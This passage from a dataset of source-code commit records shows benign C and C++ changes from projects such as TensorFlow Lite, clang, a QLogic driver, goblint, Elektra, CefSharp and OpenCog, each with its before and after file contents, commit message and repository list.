shu1203\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,keishi\/chromium,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,Just-D\/chromium-1,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,robclark\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,markYoungH\/chromium.src,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,patrickm\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,dushu1203\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,jaruba\/chromium.src,timopulkkinen\/BubbleFish,littlstar\/chromium.src,mogoweb\/chromium-crosswalk"}
{"commit":"78606da47fb80ef2b16ad81b5c5f1129857040cd","old_file":"tensorflow\/lite\/delegates\/gpu\/common\/status.h","new_file":"tensorflow\/lite\/delegates\/gpu\/common\/status.h","old_contents":"\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n#define TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n\n#include \"absl\/status\/status.h\"\n#define RETURN_IF_ERROR(s) {auto c=(s);if(!c.ok())return c;}\n\n#endif  \/\/ TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n","new_contents":"\/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n#define TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n\n#include \"absl\/status\/status.h\"  \/\/ IWYU pragma: export\n#define RETURN_IF_ERROR(s) {auto c=(s);if(!c.ok())return c;}         \/\/ IWYU pragma: export\n\n#endif  \/\/ TENSORFLOW_LITE_DELEGATES_GPU_COMMON_STATUS_H_\n","subject":"Add include-what-you-use pragma so IWYU does not try to include these files again.","message":"Add include-what-you-use pragma so IWYU does not try to include these files again.\n\nPiperOrigin-RevId: 325359254\nChange-Id: Ibeb53b70736036ab22ed59858f31adb0b55c65a7\n","lang":"C","license":"apache-2.0","repos":"Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,sarvex\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,Intel-Corporation\/tensorflow,aldian\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,gautam1858\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,davidzchen\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,aldian\/tensorflow,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aam-at\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,Intel-Corporation\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,freedomtan\/tensorflow,petewarden\/tensorflow,petewarden\/tensorflow,cxxgtxy\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,gautam1858\/tensorflow,sarvex\/tensorflow,frreiss\/tensorflow-fred,gautam1858\/tensorflow,yongtang\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow,karllessard\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,freedomtan\/tensorflow,aam-at\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,petewarden\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,gautam1858\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,annarev\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,frreiss\/tensorflow-fred,karllessard\/tensorflow,paolodedios\/tensorflow,aldian\/tensorflow,frreiss\/tensorflow-fred,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,annarev\/tensorflow,davidzchen\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,paolodedios\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,yongtang\/tensorflow,tensorflow\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,aldian\/tensorflow,freedomtan\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,karllessard\/tensorflow,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,paolodedios\/tensorflow,davidzchen\/tensorflow,aldian\/tensorflow,cxxgtxy\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,annarev\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,petewarden\/tensorflow,annarev\/tensorflow,petewarden\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,karllessard\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_saved_model,Intel-tensorflow\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow"}
{"commit":"a5a35e149d204d6b0b3eda5f186e1dc4f66e443d","old_file":"test\/Sema\/PR2923.c","new_file":"test\/Sema\/PR2923.c","old_contents":"\/\/ RUN: clang -fsyntax-only -verify\n\n\/\/ Test for absence of crash reported in PR 2923:\n\/\/\n\/\/  http:\/\/llvm.org\/bugs\/show_bug.cgi?id=2923\n\/\/\n\/\/ Previously we had a crash when deallocating the FunctionDecl for 'bar'\n\/\/ because FunctionDecl::getNumParams() just used the type of foo to determine\n\/\/ the number of parameters it has.  In the case of 'bar' there are no\n\/\/ ParmVarDecls.\nint foo(int x, int y) { return x + y; }\nextern typeof(foo) bar;\n","new_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\n\n\/\/ Test for absence of crash reported in PR 2923:\n\/\/\n\/\/  http:\/\/llvm.org\/bugs\/show_bug.cgi?id=2923\n\/\/\n\/\/ Previously we had a crash when deallocating the FunctionDecl for 'bar'\n\/\/ because FunctionDecl::getNumParams() just used the type of foo to determine\n\/\/ the number of parameters it has.  In the case of 'bar' there are no\n\/\/ ParmVarDecls.\nint foo(int x, int y) { return x + y; }\nextern typeof(foo) bar;\n","subject":"Fix missing %s in run string causing hang during tests.","message":"Fix missing %s in run string causing hang during tests.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58394 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"349ed5a060397fcccc542a0314f236b420bd4ad1","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k3\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2006 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k4\"\n","subject":"Update driver version to 5.02.00-k4","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k4\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: Ravi Anand <399b6871085291e2c1578e38a71f59e8d20fafc0@qlogic.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@suse.de>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"130e764d61e4de8002e9725471f556f6ebaa98b8","old_file":"tests\/regression\/00-sanity\/21-empty-loops.c","new_file":"tests\/regression\/00-sanity\/21-empty-loops.c","old_contents":"int main()\n{\n  f_empty_goto_loop();\n  f_empty_while_loop();\n  f_empty_goto_loop_suffix();\n  f_empty_while_loop_suffix();\n  f_nonempty_goto_loop();\n  f_nonempty_while_loop();\n\n  return 0;\n}\n\nvoid f_empty_goto_loop()\n{\nf_empty_goto_loop_label:\n  goto f_empty_goto_loop_label;\n}\n\nvoid f_empty_while_loop()\n{\n  while (1) {}\n}\n\nvoid suffix()\n{\n\n}\n\nvoid f_empty_goto_loop_suffix()\n{\nf_empty_goto_loop_suffix_label:\n  goto f_empty_goto_loop_suffix_label;\n\n  suffix();\n}\n\nvoid f_empty_while_loop_suffix()\n{\n  while (1) {}\n\n  suffix();\n}\n\nvoid body()\n{\n\n}\n\nvoid f_nonempty_goto_loop()\n{\nf_nonempty_goto_loop_label:\n  body();\n  goto f_nonempty_goto_loop_label;\n}\n\nvoid f_nonempty_while_loop()\n{\n  while (1)\n  {\n    body();\n  }\n}","new_contents":"int main()\n{\n  \/\/ non-deterministically make all variants live\n  int r;\n  switch (r)\n  {\n    case 0:\n      f_empty_goto_loop();\n      break;\n    case 1:\n      f_empty_while_loop();\n      break;\n    case 2:\n      f_empty_goto_loop_suffix();\n      break;\n    case 3:\n      f_empty_while_loop_suffix();\n      break;\n    case 4:\n      f_nonempty_goto_loop();\n      break;\n    case 5:\n      f_nonempty_while_loop();\n      break;\n  }\n\n  return 0;\n}\n\nvoid f_empty_goto_loop()\n{\nf_empty_goto_loop_label:\n  goto f_empty_goto_loop_label;\n}\n\nvoid f_empty_while_loop()\n{\n  while (1) {}\n}\n\nvoid suffix()\n{\n\n}\n\nvoid f_empty_goto_loop_suffix()\n{\nf_empty_goto_loop_suffix_label:\n  goto f_empty_goto_loop_suffix_label;\n\n  suffix();\n}\n\nvoid f_empty_while_loop_suffix()\n{\n  while (1) {}\n\n  suffix();\n}\n\nvoid body()\n{\n\n}\n\nvoid f_nonempty_goto_loop()\n{\nf_nonempty_goto_loop_label:\n  body();\n  goto f_nonempty_goto_loop_label;\n}\n\nvoid f_nonempty_while_loop()\n{\n  while (1)\n  {\n    body();\n  }\n}","subject":"Change 00\/21 to make all loops live","message":"Change 00\/21 to make all loops live\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"0ce1a01b7969f9e20febdd0da39a69504570ce8c","old_file":"src\/tools\/gen\/template\/elektra_gen.c","new_file":"src\/tools\/gen\/template\/elektra_gen.c","old_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see doc\/LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#compiler-settings\ndirectiveStartToken = @\ncheetahVarStartToken = $\n#end compiler-settings\n@from support.elektra_gen import *\n@set support = ElektraGenSupport()\n\n@for $key, $info in $parameters.iteritems()\n@if $support.type_of($info) == \"enum\"\nELEKTRA_DEFINITIONS ($support.enum_type($key), $support.enum_type_name($key), \"enum\", KDB_LONG_TO_STRING, KDB_STRING_TO_LONG)\n@end if\n@end for\n","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @copyright BSD License (see doc\/LICENSE.md or https:\/\/www.libelektra.org)\n *\/\n\n#compiler-settings\ndirectiveStartToken = @\ncheetahVarStartToken = $\n#end compiler-settings\n@from support.elektra_gen import *\n@set support = ElektraGenSupport()\n\n#include <stdlib.h>\n#include <elektra.h>\n#include <kdbhelper.h>\n#include \"elektra_gen.h\"\n\nKDBType KDB_TYPE_ENUM = \"enum\";\n#define KDB_ENUM_TO_STRING(value) elektraFormat (ELEKTRA_LONG_F, value)\n#define KDB_STRING_TO_ENUM(string) (kdb_long_t) strtoul (string, NULL, 10)\n\n@for $key, $info in $parameters.iteritems()\n@if $support.type_of($info) == \"enum\"\nELEKTRA_DEFINITIONS ($support.enum_type($key), $support.enum_type_name($key), KDB_TYPE_ENUM, KDB_ENUM_TO_STRING, KDB_STRING_TO_ENUM)\n@end if\n@end for\n\n#undef KDB_ENUM_TO_STRING\n#undef KDB_STRING_TO_ENUM","subject":"Add defines for enum type and conversions","message":"codegen: Add defines for enum type and conversions\n","lang":"C","license":"bsd-3-clause","repos":"ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,mpranj\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra"}
{"commit":"8c2382d076c3078bdf6b45af2523092dc2a513dd","old_file":"page.h","new_file":"page.h","old_contents":"","new_contents":"#ifndef PAGE_H\n#define PAGE_H\n\n#include <stddef.h>\n\n#define PAGE_SIZE      4096ULL\n#define PAGE_SIZE_MASK (PAGE_SIZE - 1)\n\n#define PAGE_ALIGN_DOWN(x) (\\\n    (void *) ((size_t) (x) & ~PAGE_SIZE_MASK) \\\n)\n\n#define PAGE_ALIGN_UP(x) (\\\n    (void *) ((size_t) ((x) + PAGE_SIZE_MASK) & ~PAGE_SIZE_MASK) \\\n)\n\n#define PAGE_ALIGNED(x) (\\\n    0 == ((size_t) (x) & PAGE_SIZE_MASK) \\\n)\n\n#define PAGE_DIVISIBLE(x) (\\\n    0 == ((x) % PAGE_SIZE) \\\n)\n\n#endif \/* end of include guard: PAGE_H *\/\n","subject":"Add file that is accidentally removed.","message":"Add file that is accidentally removed.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"bff700a9652cda6b6201283e5a3623fa5ce0987c","old_file":"CefSharp.BrowserSubprocess.Core\/JavascriptPropertyWrapper.h","new_file":"CefSharp.BrowserSubprocess.Core\/JavascriptPropertyWrapper.h","old_contents":"\/\/ Copyright  2010-2014 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_v8.h\"\n\nusing namespace CefSharp::Internals;\n\nnamespace CefSharp\n{\n    public ref class JavascriptPropertyWrapper\n    {\n    private:\n        JavascriptProperty^ _javascriptProperty;\n        int64 _ownerId;\n        IBrowserProcess^ _browserProcess;\n        Object^ _javascriptObjectWrapper;\n    internal:\n        MCefRefPtr<CefV8Value> V8Value;\n\n    public:\n        JavascriptPropertyWrapper(JavascriptProperty^ javascriptProperty, int64 ownerId, IBrowserProcess^ browserProcess)\n        {\n            _javascriptProperty = javascriptProperty;\n            _ownerId = ownerId;\n            _browserProcess = browserProcess;\n        }\n\n        ~JavascriptPropertyWrapper()\n        {\n            V8Value = nullptr;\n\n            if (_javascriptObjectWrapper != nullptr)\n            {\n                delete _javascriptObjectWrapper;\n                _javascriptObjectWrapper = nullptr;\n            }\n        }\n\n        void Bind();\n    };\n}","new_contents":"\/\/ Copyright  2010-2014 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n\n#include \"Stdafx.h\"\n#include \"include\/cef_v8.h\"\n\nusing namespace CefSharp::Internals;\n\nnamespace CefSharp\n{\n    public ref class JavascriptPropertyWrapper\n    {\n    private:\n        JavascriptProperty^ _javascriptProperty;\n        int64 _ownerId;\n        IBrowserProcess^ _browserProcess;\n        \/\/TODO: Strongly type this variable - currently trying to include JavascriptObjectWrapper.h creates a circular reference, so won't compile\n        Object^ _javascriptObjectWrapper;\n    internal:\n        MCefRefPtr<CefV8Value> V8Value;\n\n    public:\n        JavascriptPropertyWrapper(JavascriptProperty^ javascriptProperty, int64 ownerId, IBrowserProcess^ browserProcess)\n        {\n            _javascriptProperty = javascriptProperty;\n            _ownerId = ownerId;\n            _browserProcess = browserProcess;\n        }\n\n        ~JavascriptPropertyWrapper()\n        {\n            V8Value = nullptr;\n\n            if (_javascriptObjectWrapper != nullptr)\n            {\n                delete _javascriptObjectWrapper;\n                _javascriptObjectWrapper = nullptr;\n            }\n        }\n\n        void Bind();\n    };\n}","subject":"Add TODO about strongly typing variable","message":"Add TODO about strongly typing variable\n","lang":"C","license":"bsd-3-clause","repos":"battewr\/CefSharp,ruisebastiao\/CefSharp,Haraguroicha\/CefSharp,wangzheng888520\/CefSharp,rover886\/CefSharp,jamespearce2006\/CefSharp,gregmartinhtc\/CefSharp,VioletLife\/CefSharp,NumbersInternational\/CefSharp,Haraguroicha\/CefSharp,NumbersInternational\/CefSharp,yoder\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,VioletLife\/CefSharp,haozhouxu\/CefSharp,battewr\/CefSharp,Livit\/CefSharp,jamespearce2006\/CefSharp,NumbersInternational\/CefSharp,zhangjingpu\/CefSharp,Haraguroicha\/CefSharp,jamespearce2006\/CefSharp,VioletLife\/CefSharp,gregmartinhtc\/CefSharp,Octopus-ITSM\/CefSharp,Haraguroicha\/CefSharp,Octopus-ITSM\/CefSharp,rover886\/CefSharp,NumbersInternational\/CefSharp,haozhouxu\/CefSharp,Octopus-ITSM\/CefSharp,joshvera\/CefSharp,dga711\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,gregmartinhtc\/CefSharp,windygu\/CefSharp,ITGlobal\/CefSharp,jamespearce2006\/CefSharp,zhangjingpu\/CefSharp,rlmcneary2\/CefSharp,illfang\/CefSharp,Octopus-ITSM\/CefSharp,ruisebastiao\/CefSharp,ITGlobal\/CefSharp,joshvera\/CefSharp,wangzheng888520\/CefSharp,AJDev77\/CefSharp,battewr\/CefSharp,Haraguroicha\/CefSharp,windygu\/CefSharp,wangzheng888520\/CefSharp,windygu\/CefSharp,joshvera\/CefSharp,AJDev77\/CefSharp,wangzheng888520\/CefSharp,Livit\/CefSharp,battewr\/CefSharp,Livit\/CefSharp,Livit\/CefSharp,zhangjingpu\/CefSharp,zhangjingpu\/CefSharp,windygu\/CefSharp,dga711\/CefSharp,twxstar\/CefSharp,rover886\/CefSharp,twxstar\/CefSharp,VioletLife\/CefSharp,ITGlobal\/CefSharp,rover886\/CefSharp,yoder\/CefSharp,gregmartinhtc\/CefSharp,rlmcneary2\/CefSharp,AJDev77\/CefSharp,rlmcneary2\/CefSharp,twxstar\/CefSharp,haozhouxu\/CefSharp,rover886\/CefSharp,jamespearce2006\/CefSharp,twxstar\/CefSharp,ruisebastiao\/CefSharp,joshvera\/CefSharp,rlmcneary2\/CefSharp,haozhouxu\/CefSharp,yoder\/CefSharp,illfang\/CefSharp,ruisebastiao\/CefSharp,yoder\/CefSharp"}
{"commit":"4e852145739b73d18924477c6cacc331243c8b1c","old_file":"opencog\/learning\/feature-selection\/scorers\/fs_scorer_base.h","new_file":"opencog\/learning\/feature-selection\/scorers\/fs_scorer_base.h","old_contents":"","new_contents":"\/** fs_scorer_base.h --- \n *\n * Copyright (C) 2013 OpenCog Foundation\n *\n * Author: Nil Geisweiller\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License v3 as\n * published by the Free Software Foundation and including the exceptions\n * at http:\/\/opencog.org\/wiki\/Licenses\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU Affero General Public License\n * along with this program; if not, write to:\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n\n#ifndef _OPENCOG_BASE_SCORER_H\n#define _OPENCOG_BASE_SCORER_H\n\n#include <opencog\/comboreduct\/table\/table.h>\n\nnamespace opencog {\n\nusing namespace combo;\n\ntemplate<typename FeatureSet>\nstruct fs_scorer_base : public std::unary_function<FeatureSet, double> {\n\n    \/\/ ctor\n    fs_scorer_base(const CTable& ctable, double confi)\n        : _ctable(ctable), _confi(confi), _usize(_ctable.uncompressed_size()) {}\n\n    \/\/ dtor\n    virtual ~fs_scorer_base() {};\n\n    virtual double operator()(const FeatureSet& features) const = 0;\n\nprotected:\n\n    \/\/ Very rought approximation of the confidence in the feature\n    \/\/ quality measure\n    double confidence(unsigned fs_size) const {\n        return _usize \/ (_usize + exp(-_confi*fs_size));\n    }\n    \n    const CTable& _ctable;\n    double _confi;              \/\/ confidence intensity\n    unsigned _usize;             \/\/ uncompressed ctable size\n};\n\n}\n\n#endif \/\/ _OPENCOG_BASE_SCORER_H\n","subject":"Add base class from fs scorers","message":"Add base class from fs scorers\n\nThat class include some confidence computation to be easily shared\namong feature selection scorers.\n","lang":"C","license":"agpl-3.0","repos":"cosmoharrigan\/atomspace,jswiergo\/atomspace,Allend575\/opencog,kim135797531\/opencog,anitzkin\/opencog,rohit12\/opencog,ArvinPan\/atomspace,virneo\/opencog,zhaozengguang\/opencog,gaapt\/opencog,virneo\/opencog,ArvinPan\/opencog,Selameab\/atomspace,TheNameIsNigel\/opencog,virneo\/opencog,printedheart\/atomspace,tim777z\/opencog,rodsol\/atomspace,Tiggels\/opencog,yantrabuddhi\/opencog,jlegendary\/opencog,eddiemonroe\/opencog,kinoc\/opencog,sumitsourabh\/opencog,kim135797531\/opencog,virneo\/opencog,yantrabuddhi\/opencog,ceefour\/atomspace,shujingke\/opencog,printedheart\/opencog,rohit12\/opencog,AmeBel\/opencog,tim777z\/opencog,rodsol\/opencog,inflector\/atomspace,UIKit0\/atomspace,inflector\/opencog,yantrabuddhi\/atomspace,williampma\/atomspace,andre-senna\/opencog,gaapt\/opencog,MarcosPividori\/atomspace,gaapt\/opencog,shujingke\/opencog,Tiggels\/opencog,misgeatgit\/atomspace,anitzkin\/opencog,cosmoharrigan\/opencog,TheNameIsNigel\/opencog,MarcosPividori\/atomspace,rohit12\/opencog,yantrabuddhi\/atomspace,ceefour\/opencog,printedheart\/opencog,yantrabuddhi\/opencog,yantrabuddhi\/atomspace,andre-senna\/opencog,shujingke\/opencog,misgeatgit\/opencog,ruiting\/opencog,iAMr00t\/opencog,misgeatgit\/atomspace,prateeksaxena2809\/opencog,jswiergo\/atomspace,printedheart\/atomspace,williampma\/opencog,yantrabuddhi\/atomspace,sumitsourabh\/opencog,jlegendary\/opencog,cosmoharrigan\/opencog,jlegendary\/opencog,inflector\/opencog,shujingke\/opencog,MarcosPividori\/atomspace,cosmoharrigan\/atomspace,kim135797531\/opencog,ArvinPan\/opencog,sanuj\/opencog,andre-senna\/opencog,Allend575\/opencog,ArvinPan\/opencog,eddiemonroe\/atomspace,gavrieltal\/opencog,misgeatgit\/opencog,eddiemonroe\/atomspace,sanuj\/opencog,jlegendary\/opencog,eddiemonroe\/atomspace,gaapt\/opencog,ruiting\/opencog,TheNameIsNigel\/opencog,gaapt\/opencog,UIKit0\/atomspace,kim13579